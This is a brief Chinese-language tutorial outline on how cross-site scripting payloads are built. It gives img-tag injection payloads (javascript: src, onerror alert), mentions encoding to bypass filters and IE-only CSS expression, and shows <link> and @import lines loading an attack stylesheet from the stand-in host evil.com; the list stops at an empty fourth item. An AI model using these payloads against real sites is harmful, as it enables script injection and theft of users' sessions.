XSS的构造剖析
1. 标签的属性值可以注入
<img src="javascript:alert('xss');" >
<img src ="x" onerror=alert('xss') >
2. 可以用编码绕过对标签属性值的过滤,因为html中属性值支持ASCII码形式
3. 在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性,不过这只能在IE中使用;
可以使用<link>标签或@import 导入外部含有XSS代码的样式表文件:
<link rel="stylesheet" href="http://www.evil.com/attack.css">
<style type='text/css'>@import url(http://www.evil.com/attack.css);></style>
4. 拆分跨站法